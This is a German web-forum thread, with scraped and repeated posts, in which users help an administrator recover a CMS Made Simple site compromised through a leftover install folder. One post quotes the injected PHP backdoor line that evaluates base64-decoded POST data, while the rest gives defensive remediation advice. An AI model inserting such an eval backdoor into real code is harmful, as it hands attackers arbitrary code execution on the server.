Sämtliche eurer Ratschläge habe ich umgesetzt.

Falls es weitere Probleme geben sollte - gern wieder.

Sind immer an einer Verbesserung / Optimierung unserer Tipps interessiert. Nur durch User-Anfragen lässt sich wirklich erkennen, was man noch verbessern kann, auch support-seitig.

blizzyx schrieb:

Für alle Interessierten hier ein paar Auszüge aus dem Serverlog. Die Vorgehensweise war immer dieselbe: Aufruf der index.php im Install-Ordner, anschließend Kompromittierung der config.php via Post-Request.

Was zum Teufel sucht der install Ordner noch auf dem Server?

Servus,
Alex

Das hatte ich mich auch gefragt.

Inzwischen ist die Website aus einem früheren Backup heraus wiederhergestellt worden. Sämtliche Versionsverweise sind entfernt und der Installationsordner gelöscht worden. Außerdem wurde das Adminverzeichnis umbenannt und mit einem Verzeichnisschutz versehen. Sämtliche eurer Ratschläge habe ich umgesetzt.

Jetzt bin ich mal gespannt, ob meine Rechnung an den damaligen Websiteersteller weitergegeben wird

Für alle Interessierten hier ein paar Auszüge aus dem Serverlog. Die Vorgehensweise war immer dieselbe: Aufruf der index.php im Install-Ordner, anschließend Kompromittierung der config.php via Post-Request.

Was zum Teufel sucht der install Ordner noch auf dem Server?

Servus,
Alex

Sollte schnellstmöglich entfernt werden, siehe auch 2.2.3 des Security-Threads - zumal das eingesetzte CMS für den nach Informationen Suchenden so wichtig ist wie die Gasrechnung von vor 5 Jahren.

Ein Angriff erfolgt eigentlich immer gezielt gegen das verwendete System.
Man kann eine Lücke in einem System nicht ausnutzen, ohne die Lücke genau zu kennen.
D.h. jemand hat bemerkt, dass die Seite mit CMSms betrieben wird und dann eine Anfrage an den Installer gestartet. Da muss nicht mal eine Person dahinter stecken - ein Bot könnte das auch.

Ich habe die Möglichkeit, mir die Log-Dateien des Servers anzusehen. Gibt es bestimmte – verdächtige – Einträge, auf die ich achten kann? Einträge, womit sich der genaue Zeitpunkt des Hacks feststellen lässt?

Aktuell besteht der Verdacht, dass die Website gezielt Opfer des Hacks geworden ist. Interessant wäre es herauszufinden, ob man den Angriff auf jemanden zurückfühhren kann. Die Marketingabteilung hat mir nämlich mitgeteilt, dass am Tag vor dem Hack ein dubioses Angebot einer Firma einging, die kostenfreie Websiteanalsen anbietet. Dieses Angebot ist vom Kunden abgelehnt worden.

Ist es möglich, dass es sich um einen gezielten Angriff handelt oder spricht eher etwas dafür, dass die Website wie massenhaft andere dem Backdoor zum Opfer gefallen ist?

Ein Angriff erfolgt eigentlich immer gezielt gegen das verwendete System.
Man kann eine Lücke in einem System nicht ausnutzen, ohne die Lücke genau zu kennen.
D.h. jemand hat bemerkt, dass die Seite mit CMSms betrieben wird und dann eine Anfrage an den Installer gestartet. Da muss nicht mal eine Person dahinter stecken - ein Bot könnte das auch.

In dieser Anfrage war PHP-Code enthalten, die der Server einfach ausgeführt hat. Das ist ein Fehler im Installer von CMSms. Dass man den Ordner löschen sollte, ist zwar klar, aber dennoch sollten die Entwickler den Fehler beheben.

Wie bereits erwähnt, macht mich stutzig, wie der Angreifer die config.php ohne ausreichenden FTP-Zugang hochladen konnte. Kannst du mir mir das erklären? Ist es möglich, dass es sich um einen gezielten Angriff handelt oder spricht eher etwas dafür, dass die Website wie massenhaft andere dem Backdoor zum Opfer gefallen ist?

Dafür braucht es unter umständen gar keinen FTP Account sondern einen Backdoor oder eine Sicherheitslücke, die es ermöglicht eine PHP Datei auf den Server zu laden und durch die Ausführung derselben weitere Dateien zu verändern.

Zum Hintergrund: die Website ist vor zwei Jahren von einem IT-Dienstleister umgesetzt worden. Ich bin bisher nur für die Pflege von redaktionellen Inhalten vom Auftraggeber ins Boot geholt worden und seit dem Angriff nun mehr dafür zuständig, das Ding schnellstmöglich wieder zum Laufen zu bringen. Demnach kann ich vorerst keine Aussagen darüber treffen, welche Sicherheitsmaßnahmen in der Vergangenheit getroffen worden sind und welche nicht. Dazu kommt, dass ich mit CMSMS bisher noch nicht gearbeitet habe.

Hallo NaN,

ganz großen Dank an dich und die anderen dafür, dass ihr den Verdacht eines Hacks bestätigen konntet. Wie cyberman bereits schrieb, ist auch in meinen Augen 1&1 sicher nicht die beste Wahl, wodurch ich an der Glaubwürdigkeit des Virenscanners gezweifelt hatte. Wie man sieht, zu unrecht.

Nach Überprüfung der Ordnerstruktur ist mir aufgefallen, dass der /install Ordner inklusive Inhalt vorhanden ist. Da ist bei der Erstellung der Website offensichtlich geschlampt worden?

Wie bereits erwähnt, macht mich stutzig, wie der Angreifer die config.php ohne ausreichenden FTP-Zugang hochladen konnte. Kannst du mir mir das erklären? Ist es möglich, dass es sich um einen gezielten Angriff handelt oder spricht eher etwas dafür, dass die Website wie massenhaft andere dem Backdoor zum Opfer gefallen ist?

Wenn du auch einen ftp-Zugriff installiert hast, diesen löschen und einen komplett neuen mit kompliziertem PW erstellen.

Das war bei mir vor einigen Jahren der Fall. Da wurde auch immer die config.php geändert. Die Suche ergab Schadcode in einigen Files und in der DB. Alle wurden ersetzt, das admin-verzeichnis umbenannt, Ordner, wo dieser Schadcode auftrat wurden nur mit Leserechten versehen.
Danach hatte ich keine solchen Probleme mehr.

Existiert dein /install/ Verzeichnis noch? Falls ja, immer unbedingt löschen!

Zum Einen müsstest du jetzt herausfinden welche Dateien *noch* infiziert sind. Auf den Virenscanner von 1x1 würde ich mich da jetzt nicht verlassen.

Am einfachsten geht das mit grep
http://www.linux-fuer-blinde.de/135-0-d … -grep.html

ansonsten

--> alles per FTP runterladen
--> mit Sourcecode-Editor o.ä. alle php-Dateien nach <?php $cookey durchsuchen

Zuma Anderen musst du natürlich herausfinden wie dein Account gehackt wurde. Sonst wird der ratzfatz wieder gehackt.

Servus,
Alex

Aus diesem Grund kann ich mir durchaus vorstellen, dass 1&1 auch die Codeschnippsel im Header hinzugefügt hat

Sorry, aber das ist Käse.
Der Code kommt definitiv nicht von 1&1.
Wenn man danach googelt, findet man auch WordPress Seiten, die mit einem solchen Code infiziert wurden. Und die laufen nicht alle bei 1&1.

Das nennst Du harmlos?

@eval(base64_decode($_POST[$cookey]));

Diese "harmlose" Zeile führt alles mögliche aus, was in irgendeinem POST-Request gesendet wird.
Das ist eine klassische "Backdoor".

Und wenn sonst nichts verdächtiges in der config.php steht, dann ist dieser Code genau das, was der Virenscanner von 1&1 als einen eben solchen erkannt hat. Und deswegen sperrt er den Zugriff auf diese Datei. Eine vollkommen logische Reaktion. Also muss dieser Code da raus. Dann kannst Du der config.php auch wieder sinnvolle Zugriffsrechte geben.
Da Du aber nie sicher sein kannst, ob nicht doch irgendwo noch eine infizierte Datei rumschwirrt, folge lieber @Nockenfells Rat.

Viel wichtiger ist allerdings die Frage: Wie kommt dieser Code da rein?
Diese Frage wird allerdings leider nur sehr schwer zu beantworten sein.

Hattest Du die Sicherheitstipps umgesetzt?
(das TMP Verzeichnis wird nämlich oft vergessen)

Aus diesem Grund kann ich mir durchaus vorstellen, dass 1&1 auch die Codeschnippsel im Header hinzugefügt hat (sind soweit ich das richtig interpretiere harmlose Cookies?)..

Sorry, dass Hinzufügen von Code wäre für mich ein NoGo (und damit ein Kündigungsgrund).

Dann müssten andere Dateien ja auch diesen “Überwachungsstempel“ haben.

Vielmehr scheint es, als ob da (wie von nockenfell vermutet) irgendein Script auf chmod 666 “lauert“. Aber wie gesagt - seltsame Empfehlungen seitens 1&1.

400 oder 444 ist für diese Dateien ausreichend.